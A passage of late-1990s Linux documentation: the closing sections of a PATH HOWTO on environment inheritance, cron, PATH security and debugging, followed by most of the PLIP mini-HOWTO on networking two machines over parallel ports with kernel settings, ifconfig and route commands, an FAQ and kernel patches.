After running Xstartup the XDM runs /etc/X11/Xsession that is run as the final user. Local configuration is meant to be done in /etc/environment that is sourced (included) from Xsession if available (Xsession is run with /bin/sh and thus /etc/environment must be a sh file). This clashes with ssh that supposes that /etc/environment is a file that contains just lines of form VAR=VALUE.

9.2 xterm -ls

By default the path for all the commands invoked from X window manager menus is the path inherited from XDM. To use something different it must be set explicitly. To start a terminal emulator with a path that is "normal" some special option must be used. In xterm the option -ls (login shell) must be used to get a login shell with path specified in shell login initialization files.

9.3 Window manager menus and buttons

Window manager inherits environment of XDM. All the programs started by the window manager inherit the environment of the window manager.

User shell environment does not affect the programs that are started from window manager buttons and menus. For example, if program is started from 'xterm -ls', it has the default environment of login shell but if it is started from menu, it has just environment of the window manager.


PATH HOWTO: Delayed commands cron and at

 Next Previous Contents

10. Delayed commands cron and at

10.1 cron

Cron is a command that executes commands periodically as specified in /etc/crontab and user-defined crontabs. In Debian 1.3 there is a standard mechanism to execute commands in /etc/cron.daily, /etc/cron.weekly and /etc/cron.monthly.

Cron is started from boot scripts but it seems to change it's PATH to a pretty strange one:

/usr/bin:/binn:/sbin:/bin:/usr/sbin:/usr/bin

THIS IS LIKELY A BUG IN CRON. This is the init path where there is /usr/bin:/bin written over the beginning without terminating 0! This bug does not exist in all the systems.

In crontab there can be PATH definition. In Debian 1.3 there is the following default line in the beginning of /etc/crontab:

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

Because of this, the PATH of crond program is never used in user programs. All the scripts in /etc/cron.* directories get this path by default. This path is used even if a program is executed as non-root.

10.2 at

at is a command that can be used to run a one-time program at specific time.

atd is run using init path. However, the user programs are always run in the user environment using sh command. Therefore the usual shell overwrites apply. Look the chapter on bash.


PATH HOWTO: Some examples

 Next Previous Contents

11. Some examples

11.1 magicfilter

magicfilter is a common tool to manipulate files for printer. It analyzes the type of the file to be printed and invokes a filter script to make appropriate pretty-printing. These scripts are invoked from lpd that is started from /etc/init.d/lpd that is started from init. Thus, the path is that of init. That does not contain /usr/bin/X11!

You might want to insert printing of PDF files to magicfilter. It is possible to do this by using /usr/bin/X11/xpdf. Now you must remember to insert full directory path to the file name because magicfilter would not find it otherwise. Most programs used in magicfilter do not need full path, because they are on /bin or /usr/bin.

11.2 Printing from X applications

You may use PRINTER environment variable to show what is the printer that you are using. However, you may notice that in some cases in X applications it is sometimes lost.

You must remember that if the X session is started from XDM, the window manager has never evaluated your shell login scripts. All the X applications that you have started from xterm have your PRINTER variable. However, if the same application is started from menu or window manager button, it does not contain your PRINTER variable.

In some cases this can be inherited to an even lower layer: for example a Netscape helper application can have or have not your PRINTER definition.


PATH HOWTO: Security concerns

 Next Previous Contents

12. Security concerns

The path is sometimes a big security problem. It is a very common way to hack into a system using some mistakes in path settings. It is easy to make Trojan horse attacks if hacker gets root or other users to execute his versions of commands.

A common mistake in the past (?) was to keep '.' in the root's path. Malicious hacker makes program 'ls' in his home directory. If root makes

# cd ~hacker
# ls

he executes ls command of hacker's.

Indirectly, this same applies to all the programs that are executed as root. Any of the important daemon processes should never execute anything that some other user can write into. In some systems, /usr/local/bin is allowed to contain programs with less strict security screening - it is just removed from the path of the root user. However, if it is known that some daemon executes 'foo' using path '/usr/local/bin/:...', it may be possible to cheat daemon to execute '/usr/local/bin/foo' instead of '/bin/foo'. Likely anybody who can write to '/usr/local/bin' is able to break into the system.

It is very important to consider in what order the directories are in the path. If /usr/local/bin is before /bin, it is a security risk - if it is after, it is not possible to overwrite command /bin/foo with some localized modification in /usr/local/bin/foo.

In Linux it should be remembered that the path evaluation is done in the operating system call level. Everywhere where an executable file path is given you can give a short name that is searched at least from /bin and /usr/bin - likely from many other places as well.


PATH HOWTO: How to debug problems?

 Next Previous Contents

13. How to debug problems?

The basic command to read environment is /usr/bin/env.

It is possible to use /proc directory to find out path of any program. First you must know the process number - use ps command to get that. For example, if xterm is process number 1088, you can find it's environment with command

# more /proc/1088/environ

This does not work with daemon processes like xdm. To access environment of system processes or other user processes, root access is required.

To debug Netscape, you can create a script /tmp/test:

$ cat > /tmp/test
#!/bin/sh
/usr/bin/env > /tmp/env
^d
$ chmod +x /tmp/test

Then set some helper application, for example RealAudio, audio/x-pn-realaudio to call program "/tmp/test". When you try to browse some RealAudio link (something from http://www.realaudio.com/showcase), Netscape calls the dummy program that stores environment to /tmp/env.


PATH HOWTO: Some strategies to get the same path for all the users

 Next Previous Contents

14. Some strategies to get the same path for all the users

The most important settings is possible to set in the global shell initialization files for login shells: /etc/csh.login for tcsh and /etc/profile for bash.

Exceptions that do not get the right path from these files are rsh commands, ssh commands, menu items from X window manager that do not explicitly start login shell, commands invoked from inittab, cron jobs, daemons jobs like magic filters started from lprd, WWW CGI scripts, and so on.

If the path is set in /etc/csh.cshrc, the path is right even when rsh or ssh execute command in remote machine with account using tcsh/csh. However, it is not possible to set path if account uses bash/sh.

It is possible to combine path setting to one file, for example to a file /etc/environment-common. There we write:

${EXPORT}PATH${EQ}/bin:/usr/bin:/sbin:/usr/sbin:/usr/bin/X11:/usr/local/bin:/usr/games:.

This can be used from /etc/csh.login (for tcsh and csh)

set EQ=" " set EXPORT="setenv " source /etc/environment-common

And from /etc/profile (for bash, doesn't work for ordinary sh)

EQ='=' EXPORT="export " . /etc/environment-common

And from /etc/environment (for XDM)

EQ="=" EXPORT="export " . /etc/environment-common

This strategy works mostly but ssh will complain of the lines in /etc/environment (and defined environment variables EQ and EXPORT). And still, rsh commands executed with bash won't get this path.


PATH HOWTO: Acknowledgements

 Next Previous Contents

15. Acknowledgements

One reason to start writing this document was the big frustration of Ari Mujunen. Juha Takala gave some valuable comments.


LINUX PLIP MINI-HOWTO

Andrea Controzzi, controzz@cli.di.unipi.it

v2.1, 12 March 1998

This HOWTO will hopefully let you build and use a Parallel Line Interface Protocol.

NOTE

This is a new release. There are many changes and lots of enhancements, but there will be still grammar and spelling errors (english is not my native language) and, unlikely but possible, some wrong or outdated info. PLEASE let me know about any errors to help me provide the correct information for everybody.

The biggest changes in the release are:

  • SGML format
  • a general answer to the "PLIP with win95" most asked question (the answer is negative, sorry)
  • bigger and better FAQ section (thanks to the reports of countless users: many of them will find their comments there, as I promised!)
  • removal of the Quick PLIP Installation files, that was useless and outdated.
  • updated Dos-Linux PLIP link addendum

For any question, error correction, comment and/or suggestion, my E-Mail address is: controzz@cli.di.unipi.it. Feel free to mail me any time you need help. Sometimes I won't answer immediately, but I'll answer. If it happens that you don't receive anything from me after 2 weeks, this means that our mail system has trouble: do not hesitate to mail me again, it's my duty to help you. I can guarantee I'll solve your problems, but I'll try. If after many mails you don't receive answer, check your return address. Several times my answers did not arrive due to delivery problems, usually because the return address was root@myhost.

Before sending mail read the FAQ, my answer to a question already present in the FAQ will not be better (but likely worse or less complete) than the answer you can already read.

For questions about PLIP with DOS and Win95 please send mail to the authors of these chapters, I can't help you.

First of all, a lot of technical information come from the net-2-HOWTO, by Terry Dawson. This mini-HOWTO is not supposed to cover other aspects and/or replace the net-2-HOWTO: my goal is to give you a way to install a PLIP permanent connection quickly, *ONLY* this. All the other info come from my personal experience and the help of many users that sent me comments and information.

Read the net-2-HOWTO and the other docs for the general information about the network and the config files I suggest to change.

1. Introduction: what is PLIP and why should I use it?

2. Hardware required to use PLIP.

3. Reconfigure the kernel.

4. Kernel messages about the PLIP interface.

5. Setting up the configuration files.

6. Activate the PLIP link.

7. FAQ.

8. Patches to make PLIP and LP live together.

  • 8.1 PLIP and LP together on the same port.
  • 8.2 PLIP and LP on different ports.

9. A PLIP link between DOS and Linux

  • 9.1 DOS-Linux link.
  • 9.2 A DOS-Linux PLIP link experience.

10. PLIP between Linux and Windows 95.

11. Questions? Comments? Send me feedback.

12. Where to find new releases of this mini-howto.

13. Credits.

14. Copyright message.


LINUX PLIP MINI-HOWTO: Introduction: what is PLIP and why should I use it?

 Next Previous Contents

1. Introduction: what is PLIP and why should I use it?

There are many ways to create a connection between multiple hosts. PLIP, like SLIP, allow a local connection between two machines, but uses the parallel ports.

Parallel ports transfer more than one bit at a time, this means it is possible to achieve higher speeds than with a serial interface.

The speed achieved depends completely on your hardware (CPU and parallel port) and system load, in general it may be from 5 Kb/sec up to even 40 Kb/sec.

The PLIP interface is fast enough to allow some decent tcp/ip functions, like NFS. So, you may have a computer with all your Linux stuff and another with only the minimal system, where you can mount all the rest from the main machine.

The disadvantage is that most users have only one parallel port, this means that you won't be able to print and use PLIP together. Even with two parallel ports it is impossible to print and use PLIP without using kernel modules.

This disvantage can be also eliminated, if you have two or more parallel ports, applying a patch that you can find in this Mini-HOWTO.

Finally I am now able to give a hopefully good way to set up a PLIP link between DOS and Linux.

I won't stress it enough: so far nobody reported a successful link between Linux and Windows95.


LINUX PLIP MINI-HOWTO: Hardware required to use PLIP.

 Next Previous Contents

2. Hardware required to use PLIP.

The hardware required to set up a PLIP interface is (obviously) a free parallel port in both the machines and the cable. If you can configure it with your BIOS, set it at least as "bi-directional", but if possible in ECP or EPP mode.

About the cable, this is what is written in the plip.c file, in the kernel 2.0.33 source:

  The cable used is a de facto standard parallel null cable -- sold as
  a "LapLink" cable by various places.  You'll need a 12-conductor cable to
  make one yourself.  The wiring is:
    SLCTIN      17 - 17
    GROUND      25 - 25
    D0->ERROR   2 - 15          15 - 2
    D1->SLCT    3 - 13          13 - 3
    D2->PAPOUT  4 - 12          12 - 4
    D3->ACK     5 - 10          10 - 5
    D4->BUSY    6 - 11          11 - 6
  Do not connect the other pins.  They are
    D5,D6,D7 are 7,8,9
    STROBE is 1, FEED is 14, INIT is 16
    extra grounds are 18,19,20,21,22,23,24
But I strongly advice you to read the /usr/src/linux/drivers/net/README1.PLIP and README2.PLIP files for more info about the cable.

In my opinion you should avoid building your own parallel null cable. A self-made cable may save very little money, but can add lots of headaches. If you wish to build your parallel cable, remember that you're doing it at your own risk, I reported exactly what is written in plip.c but I don't give warranties.

A final word about cable length: long cables (i.e. more than 10 feet or 3 meters) may bring problems due to radio interference. If you need long cables you should use good and well shielded cables, but very long cables are not recommended: I think the maximal cable lenght should be 15 meters (50 feet).

Anyway, someone mailed me that his/her 100 feet (30 meters) cable works fine; if someone really wants to try a PLIP connection between the office and his/her home (200 meters away), and has the money to spend, can try it, but is at his/her risk.


LINUX PLIP MINI-HOWTO: Reconfigure the kernel.

 Next Previous Contents

3. Reconfigure the kernel.

You're supposed to already know how to configure and compile the kernel, otherwise you must get some doc (kernel-howto or other guides). Thanks to the cool work made by the kernel guys, recompiling the last kernels is a really easy jobs also for "common" people, so just do it. Anyway, for the sake of completeness, here is a quick summary of what you must do:

NOTE: I suppose you are using the 2.0.xx kernel series. Now there is no need to keep the 1.2.xx kernels. There are no istructions about the 2.1.xx kernel series, since they are for development.

I will suppose that you use menuconfig to set up the kernel options, but the other tools are equivalent. I'll show how to do it with menuconfig:

#make menuconfig

I strongly advice to select

Loadable module support  --->

and enable the

[*] Enable loadable module support

and, if possible (i.e. you have modules.2.0.0) the

[*] Kernel daemon support (e.g. autoload of modules)

Then go back and choose

Networking options  --->

where you should choose at least

[*] Network firewalls
[*] TCP/IP networking
[*] IP: forwarding/gatewaying

The go back and choose at least

[*] Network device support
<M> PLIP (parallel port) support

If you use modules I definitely advice you to set up PLIP as a module. If you do so you can also, if you need to use a printer, go to

Character devices  --->

and set up as a module the

<M> Parallel printer support

Now you have enabled the kernel support for PLIP. If it's the first time that you compile the kernel look at all the other options then save and exit.

Finally compile with

#make dep ; make clean
#make zlilo

And, if you use modules

# make modules
# make modules_install

Now reboot your system.


LINUX PLIP MINI-HOWTO: Kernel messages about the PLIP interface.

 Next Previous Contents

4. Kernel messages about the PLIP interface.

After you've reconfigured and compiled the kernel with PLIP support enabled, when you boot the system, if the kernel supports PLIP directly, or when you load (later, see below) the PLIP module if you compiled PLIP as modules, you should get something like this (numbers may differ):

NET3 PLIP version 2.2 gniibe@mri.co.jp
plip1: Parallel port at 0x378, using assigned IRQ 7.

Depending upon your klogd and syslogd configuration the plip message could have been stored in your system log files: don't panic if you don't see the above message. If you compiled PLIP as a module and lsmod shows that the plip module is loaded, then it's enough.

Please take notice of the interface name. Usually is plip1, but may be plip0 or even plip2, plip3, and so on. It depends on the IO Address.


LINUX PLIP MINI-HOWTO: Setting up the configuration files.

 Next Previous Contents

5. Setting up the configuration files.

NOTE: Some distributions, like Debian, use different config files. If you have a standard installation and you don't find the rc.inet* files, look for (different) config files in the /etc/init.d directory.

First of all remember to backup all the files you will change,

#cp rc.inet1 rc.inet1.BACKUP

may be a good idea.

Now, if you don't have it done already, you must choose the IP addresses of the two machines. In my examples I'll use a couple of example IPs for the IPs that you'll write, in the standard xxx.xxx.xxx.xxx format.

In the /etc/rc.d/inet1.rc file of both the machines add this (better if in the last part of the file):

/sbin/route add -net ${NETWORK} netmask ${NETMASK}

Where NETWORK and NETMASK should be set up previously. If you don't know how to do it, please read the NET-2-HOWTO.

If after this route command you get a message like this:

SIOCADDRT: network unreachable

then use this instead:

/sbin/route add -net ${NETWORK} netmask ${NETMASK} dev plip1

where, as usually, you'll have to use the interface name reported by the kernel messages (see above).

You may safely ignore these variables only in the following case:

If you only want to connect two machines on a standalone network, you may pick-up any IP address, say 200.0.0.1 and 200.0.0.2 respectively. In this case you can safely put NETWORK="200.0.0.0" and NETMASK="255.255.255 .0". These are the example IPs that I use in my Quick PLIP Installation (see below).

NOTE: 200.0.0.1 and 200.0.0.2 are only example IPs, I advice not to use these numbers definitively because they could be the addresses of real hosts on Internet!

I strongly advice to choose your address between the "private address" intervals:

          10.0.0.0        -   10.255.255.255
          172.16.0.0      -   172.31.255.255
          192.168.0.0     -   192.168.255.255

In the file /etc/hosts of both the machines you should add the entries with the IP of the machines that you connect via PLIP. In my example, the entries are:

200.0.0.1       one             # this is the "one" IP address
200.0.0.2       two             # this is the "two" IP address

Where one and two are the names you have chosen for the two hosts.

If you want to activate the NFS, beside answering yes during the kernel configuration, you must add in /etc/exports the entries that describe the directories that you wish to export. In my example, to be able to mount the directory /usr, you should add this entry:

 /usr                          two (ro)

For more informations about NFS, please read the specific documentation; don't report me problems with the NFS, I won't be able to help.

Now reboot your system.


LINUX PLIP MINI-HOWTO: Activate the PLIP link.

 Next Previous Contents

6. Activate the PLIP link.

Finally, these are the commands, that must be executed with root rights, that activate the PLIP interface (of course the cable must be already plugged correctly).

NOTE: If something unexpected happens, please doublecheck the cable and the spelling of the commands. If you followed the istructions correctly but the are still errors, read the FAQ paragraph, a lot of answers are already available.

First of all confirm that there is no lp device present:

# cat /proc/devices

You mustn't see any reference to lp like this:

 6 lp

If you see it, please remove (temporanely) the lp device before going on, if PLIP works then you can try it with lp later. To remove the lp device you'll have to use the rmmod if it's a module; if instead it's built in the kernel, you'll need to recompile the kernel with lp as a module (a much wiser idea).

Again I use the name one and two, as example. On one you'll have to do the following steps.

If you don't have the module automounter daemon and you compiled PLIP as a module, you must mount it:

# insmod plip

NOTE: if your parallel port is on an IRQ different from 7 and/or is on a IO Address different from 0x378, then you'll have to tell it to insmod. Find your real IRQ and IO Address (the DOS command MSD is likely to be ok, but don't trust it too much) and write something like this:

# insmod plip io=0x278 irq=5

Usually IRQ is 7 or 5, while IO Address is 0x378, 0x278 or 0x3bc. It is important that you check that the address and IRQ match the hardware settings (jumpers on old boards, BIOS on modern motherboards).

If you are paranoic check that the module has been loaded with:

  # lsmod

Module:        #pages:  Used by:
plip               3            0

Take notice of the interface name (plip0, plip1, and so on; for more details read the kernel messages chapter above), then set up the PLIP interface:

# ifconfig plip1 one pointopoint two up

NOTE: if your parallel port is on an IRQ different from 7 and/or is on a IO Address different from 0x378, then you'll have to tell it to ifconfig. Use the same IRQ and IO Address reported by the kernel messages and write something like this:

# ifconfig plip1 irq 7
# ifconfig plip1 io_addr 0x3bc

Usually IRQ is 7 or 5, while IO Address is 0x378, 0x278 or 0x3bc.

Now check that it worked...

# ifconfig

 .....
 .....
 plip1     Link encap:10Mbps Ethernet  HWaddr FC:FC:C8:00:00:01
           inet addr:200.0.0.1  P-t-P:200.0.0.2  Mask:255.255.255.0
           UP POINTOPOINT RUNNING NOARP  MTU:1500  Metric:1
           RX packets:0 errors:0 dropped:0 overruns:0
           TX packets:0 errors:0 dropped:0 overruns:0
           Interrupt:7 Base address:0x378

Add the route to two...

# route add two plip1

And, if you want also the NFS for two:

# rpc.portmap
# rpc.mountd
# rpc.nfsd

On "two" the commands are the same, but you must write one instead of two and vice versa.

One of your machines is likely to have only the PLIP connection, if this is true and that machine is two, you may also type:

# route add default gw one

on that machine. In my example above, two is a laptop with only a PLIP connection with one, so I type the above line on two.

Finally check with a

# ping two

from one and a

# ping one

from two to see that all is working.

Of course you may want to have all these commands automatically done by a script or at boot time. You must only create a script that execute these commands: now you may invoke it as root when you need, or you may add a command (in /etc/rc.d/rc.inet2) that calls it at boot time.

To tune your PLIP, you can use the plipconfig command, see the man page for more informations.

To shutdown PLIP, you need only to do:

# ifconfig plip1 down

which removes also the route entries. If you don't have the automounter daemon, then remove also the module:

# rmmod plip


LINUX PLIP MINI-HOWTO: FAQ.

 Next Previous Contents

7. FAQ.

This section will (hopefully) solve your problems. If you have any other question, feel free to mail me anytime.

  • I get these messages at boot time (or when I load the plip module):
    SIOCSIFADDR: No such device
SIOCADDRT: Network is unreachable
    and when I try to set up the link as written above, I get again error messages like:
    SIOCSIFADDR: No such device
SIOCSIFDSTADDR: No such device
SIOCADDRT: Network is unreachable
mount clntudp_create: RPC: Port Mapper failure - RPC: Unable to send
    • The kernel, for some reason, hasn't PLIP support enabled. This could be due to:
      • You didn't answer yes to "PLIP support? " during kernel configuration.
      • You answered yes to "Printer support? " during kernel configuration.
      • You compiled PLIP as a module, so you must load it.
      • You are addressing the wrong port, i.e. you wrote for instance plip1 instead of plip0.
  • Is there a way to support both PLIP and LP, beside modules, perhaps with two parallel ports?
    • Yes, so far there are two ways, described in the "Patches to make PLIP and LP live together":
      • You can apply a patch to make the kernel support both.
      • You can apply another patch to make the kernel use a parallel port for PLIP and another for LP.
  • I have created the script that connects my 2 computers. I set up the link automatically in my rc.inet2, where I call a script that creates the link and enables NFS. My "two" hosts mounts some "one"'s directories; I have added the correct entries in "two"'s /etc/fstab. If I boot "two" when "one" is down, "two" halts for some minutes on the "mounting remote file systems...".
    • This happens because "two" waits to mount the "one" filesystems, but if "one" is down you must wait until "two" is bored of waiting. To avoid this, you may:
      • Comment out in rc.inet2 the command that mounts the remote filesystems
      • Remove the entry in "two"'s /etc/fstab and mount the remote filesystems manually when and if you need.
      • A better solution would be for "two" to detect upon booting whether "one" is up, and mount the filesystem if it is. This can be accomplished by replacing the mount command in rc.d or whereever with something like the following:
             if ping -c 5 one ; then
       mount one:/.....
     fi
  • My link is up, but ping fails. I receive the following message from the kernel:

plip1: timed out (1, 89)
    or similar messages.
    • This means that the "your side of the link" is working, your machine sends the signal, but the "other side" isn't answering or your side is not waiting at the proper IRQ/IO Address. This is the most common problem and, alas, has a lot of possible reasons, usually bad cable or wrong IRQ and/or IO Address. The wrong IRQ is the source of over 60% of the problems, so it's very likely that changing it will remove the problem. Here is a detailed list of possible reasons:
      • The cable isn't plugged properly or is broken or is wrong. Check it, if possible, between two Linux hosts which already work with PLIP. If it is not possible, then at least test the cable with a tester. The fact that the cable worked/not worked with DOS/win95 is a good/bad omen but is not a proof.
      • The "other side" machine has not PLIP up.
      • You are linked with a notebook with a not proper parallel port, see below.
      • You have a really cheap parallel port that is a simple "printer" port, so can send and not receive.
      • Your parallel port is not set as (at least) bi-directional. Do it in the BIOS configuration. Advanced parallel port settings like EPP or ECP are ok.
      • The parallel ports have different irq, so you have to load the plip module (or the lp module) with a different irq. Go back to the chapter "Activate the PLIP link" and choose a different irq.
      • Some other device may have shared your irq (which usually is irq 7), it may be a sound card. Do not trust DOS programs like MSD, instead try to load the plip module with a different irq.
  • I put the right IRQ and IO Address, but it still doesn't work. I got the addresses from the MSD command.
    • I got a report from MSD giving wrong port addresses. Try to use this program: http://www.cs.caltech.edu/ huny/para13.zip.
  • My link is up, and ping works. I sometimes receive the following message from the kernel:
    plip1: timed out (1, 89)
    or similar messages.
    • This means that the other side has not answered before the timeout. If all is working, you can ignore these messages: usually means that the other side is much slower than yours, either due to older hardware or more load. You can try to tune PLIP with the plipconfig command.
  • I have installed the PLIP connection but if I ping I get 100% data loss. I connected my desktop with a notebook.
    • Some notebook's parallel ports aren't good for PLIP, because they are only "printer ports", i.e. they can only transmit but not receive the data. So far I don't know if there is a way to make them work. The only hope is:
      • Look at your notebook setup, perhaps there is a way to configure the parallel port as a parallel port instead of a printer port. Usually is called "parallel enhanced mode".
      • Try plip mode 0. Alas I don't know how to do it and/or if it works or is still available in the last kernels.
  • What speeds can I achieve with PLIP?
    • This is an hard question to answer to, because there are MANY factors that can change deeply your performance:
      • The CPU speed on both the sides of the link.
      • The parallel port type and settings.
      • The system load.
      • What do you use PLIP for.
      Just to give a rough idea, you should achieve about 40Kbytes/sec, much faster than any serial rate and near to a low-level ethernet card.
  • What happens if I need to ifconfig up and ifconfig down many times plip1?
    • Seems that you need to add a -arp to the ifconfig command, except for the first time after each boot. I don't need, but perhaps someone does.
  • I have read the IP numbers reserved for private networks and your 200.0.0.1 and 200.0.0.2 are not in these ranges. Shouldn't they be changed?
    • Yes, they should. But as I underline since the beginning I choose these IP addresses only because of their simplicity, you are free to change them as you wish. Here is a cut from the net-2-howto:

    RFC1597 has specifically reserved some IP addresses for private
    networks.  You should use these as they prevent anything nasty
    happening if you accidentally get connected to the Internet. The
    addresses reserved are:

      10.0.0.0        -   10.255.255.255
      172.16.0.0      -   172.31.255.255
      192.168.0.0     -   192.168.255.255
  • Is there a way to fine tune PLIP parameters without editing the source code?
    • Yes, there is. Try the /sbin/plipconfig command. See the man page for more info.
  • I'm running Debian GNU/Linux, and under Debian, the files /etc/rc.d/rc.inet1 and 2 do not exist. Where must I write the plip configuration commands?
    • In Debian GNU/Linux you must edit /etc/init.d/network, where you have to put all the commands that should stay in rc.inet1 and 2.
  • I have some problems linking two hosts with PLIP. The first has the latest kernel, the second still uses the 1.0.x PLIP version: is this a problem?
    • Yes, it's much better, where is possible, to have the same PLIP version on both ends. In the plip.c is written that the actual PLIP cannot work with the 1.0.xx PLIP.
  • Right now PLIP works with 4 bits, what about the 8 bit PLIP I've read in the kernel docs? I think is called Mode 1.
    • This Mini-HowTo is for configuration, for technical informations please read the /usr/src/linux/drivers/net/README*.PLIP files or contact the author. What I know is only this: the standard PLIP uses "null printer" cables and is the Mode 0 (don't confuse it with plip0, which is the interface name), which uses 4 bits; Mode 1 uses 8 bits and should be available already, but will need an handmade cable and will work only between 2 Linux hosts. I don't know, once you got the cable, how to set up the Mode 1 PLIP link; if somebody does, please let me know.


LINUX PLIP MINI-HOWTO: Patches to make PLIP and LP live together.

 Next Previous Contents

8. Patches to make PLIP and LP live together.

The best way to make PLIP and LP live together is to use kernel modules: you can load plip.o and unload it when you need to print or vice versa. If you do really need to use both PLIP and LP, try the following patches.

8.1 PLIP and LP together on the same port.

If for some reason you wish PLIP and LP supported directly by the kernel, you can try these patches.

You must modify the following pieces of code, but backup the files before:

******** modifications to linux/drivers/char/lp.c ***********************
struct lp_struct lp_table[] = {
        { 0x3bc, 0, 0, LP_INIT_CHAR, LP_INIT_TIME, LP_INIT_WAIT, NULL,
NULL, },
/*      { 0x378, 0, 0, LP_INIT_CHAR, LP_INIT_TIME, LP_INIT_WAIT, NULL,
NULL, },
        { 0x278, 0, 0, LP_INIT_CHAR, LP_INIT_TIME, LP_INIT_WAIT, NULL,
NULL, },
*/
};
#define LP_NO 1

******** modifications to linux/drivers/net/Space.c ********************
#if defined(PLIP) || defined(CONFIG_PLIP)
    extern int plip_init(struct device *);
    static struct device plip2_dev = {
        "plip2", 0, 0, 0, 0, 0x278, 2, 0, 0, 0, NEXT_DEV, plip_init, };
    static struct device plip1_dev = {
        "plip1", 0, 0, 0, 0, 0x378, 7, 0, 0, 0, &plip2_dev, plip_init, };
/*    static struct device plip0_dev = {
        "plip0", 0, 0, 0, 0, 0x3BC, 5, 0, 0, 0, &plip1_dev, plip_init, };
*/
#   undef NEXT_DEV
#   define NEXT_DEV     (&plip1_dev)
#endif  /* PLIP */

Of course there is the standard disclaimer: I received these patches and I put them "as I got them". This means that you try them at your own risk. Anyway, your biggest trouble should be only restore the original files and recompile.

8.2 PLIP and LP on different ports.

If you have at least 2 parallel ports you can try these patches, that should allow you to use PLIP on a port and LP on the other.

  1. Comment out one line in kernel source file, drivers/char/lp.c.
    struct lp_struct lp_table[] = {
{ 0x3bc, 0, 0, LP_INIT_CHAR, LP_INIT_TIME, LP_INIT_WAIT, NULL, NULL, },
{ 0x378, 0, 0, LP_INIT_CHAR, LP_INIT_TIME, LP_INIT_WAIT, NULL, NULL, },
/* { 0x278, 0, 0, LP_INIT_CHAR, LP_INIT_TIME, LP_INIT_WAIT, NULL, NULL, }, */
};
    3 -> 2
  2. Kernel configuration
    PLIP (parallel port) support (CONFIG_PLIP) [n] y

Parallel Printer support [y] y
  3. Kernel message at startup
    lp1 at 0x0378, using polling driver
.....
NET3 PLIP version 2.0 gniibe@mri.co.jp
plip2: Parallel port at 0x278, using assigned IRQ 5.

Again the standard disclaimer, like section 8.1.


LINUX PLIP MINI-HOWTO: A PLIP link between DOS and Linux

 Next Previous Contents

9. A PLIP link between DOS and Linux

After the first release of this Mini-HowTo many people wrote for info about a link between Linux and DOS (or Windows) computer. The general interest lead me to add this chapter, I hope will be of help to everybody.

This section comes from an article I've found on Linux Gazzette by James McDuffie <mcduffie@scsn.net> . It covers the basic installation of a PLIP link between Linux and a DOS computer using Windows and Trumpet WinSock and gives the address of a cool program that let's you run X-Windows programs on Windows.

The last section is an addendum sent by James Vahn jvahn@short.circuit.com where he describes deeply how to set up this link and how to solve many problems.

For any questions about this chapter please contact him, not me.

9.1 DOS-Linux link.

I suppose you have already set up properly the PLIP support on the Linux side and you have got the right cable, else go back to the previous chapters.

Now, for the DOS side, you need first of all a packet driver. It can be found here:

ftp://ftp.crynwr.com/drivers/plip.zip

The program runs under DOS and acts like a Ethernet Packet driver. If you want to use PLIP with Windows you need also Trumpet Winsock. This serves as the TCP/IP interface. Otherwise, you can probably find TCP/IP software for DOS.

Now go back to the Linux computer and add the DOS computer address to /etc/hosts. If your DOS computer does not have a registered IP address you may choose any address (remember the warning of chapter 3 about IP addresses).

Now let's suppose you chose the name linux for the Linux computer and dos for the DOS one. You have to type:

ifconfig plip1 linux pointopoint dos arp up
route add dos

Of course if you want to have this done every time you boot the linux computer you may add these lines to the file /etc/rc.d/rc.inet1:

/sbin/ifconfig plip1 linux pointopoint dos arp up
/sbin/route add dos

This sets up the interface and then adds a route to it. Of course if you are using the second parallel port you have to write plip2 instead.

Go back to the DOS/Windows computer and edit autoexec.bat, you have to add the following lines.

c:\plip\plip.com 0x60
c:\tcpip\winsock\winpkt.com 0x60

Of course I suppose you put plip.com (the packet driver) in the directory c:/plip and the winpkt.com in c:/tcpip, else you need to put the right path.

This sets the plip.com program on packet vector 0x60 and then loads the winpkt.com program that comes with trumpet winsock on the same vector. If the cable is something other than lpt1 you will have to tell plip.com the irq number and io address. Also, winpkt.com needs to run to make the packet vector avaliable to Windows. From here we go to the actual setup under Trumpet Winsock. All you have to do is unselect SLIP or PPP and enter 60 into the box labeled Packet vector. Then tell it the IP address you gave it, the IP address of the Linux computer as the default gateway and the Name Server as either you computer's ip or your ISP's address for its nameservers if your going to connect it to the Internet (more on this later). Close the setup and re-run Winsock and you should have it! Put winsock in your startup group and you have everything setup automatically!

If you want to access the Internet through the Linux computer on the Windows computer you will need to set up IP Masquerading, for info on this see the NET-2-HOWTO. This simply masquerades the Windows computer with your Linux computer's IP address.

Also I have found a program that lets you run X-Windows programs under Windows! It is located at:

http://www.tucows.com/

Set it up according to directions and then all you have to do is telnet in from the Windows computer then set the display to the Windows computer (`DISPLAY=duncan:0.0` for instance) and run the program desired. There is nothing cooler than running xv under Windows! Hope all this helped.

9.2 A DOS-Linux PLIP link experience.

NOTE: I received this document from James Vahn jvahn@short.circuit.com. I put it here unchanged. This means that for any question about this section he's much better qualified than me so please mail to him than to me. His experience with a PLIP connection of a floppy-only DOS computer to a Linux one is the perfect example of how to work-around common problems.

Last Update 11 July 1996

My floppy-only DOS box is networked via PLIP to the second printer port on the Linux machine. The first Linux printer port has a printer on it, both are permanently connected and the DOS box is telnet'd into Linux. These are my notes on what I did to accomplish this.

When the kernel probes for printer ports, it will grab all of them unless you remove one from the probe. Otherwise PLIP will get nothing. One method is to load the drivers as modules when needed...

<gniibe@mri.co.jp> writes:

I keep recommending using PLIP/LP as kernel module, since

  • modules are flexible for change of configuration
  • (re)compiling the kernel is not easy for novice users
  • co-existing PLIP and LP is only feasible by the modules

With PLIP/LP as kernel module, you can specify which port is PLIP and which port is LP. Here is example:

# insmod lp.o io=0x378
# insmod plip.o io=0x278 irq=2

Even you can use two parallel ports:

# insmod plip.o io=0x278,0x3bc irq=2,5

In the example above,

plip0 is assigned on 0x278 and it's irq is 2,

plip1 is assigned on 0x3bc and it's irq is 5, respectively.

Using modules certainly sounds like the way to go. The following method shows how to patch the kernel to allow both a printer and PLIP on different ports, without modules. If you are unfamiliar with the module concept, you might find this quicker to set up.

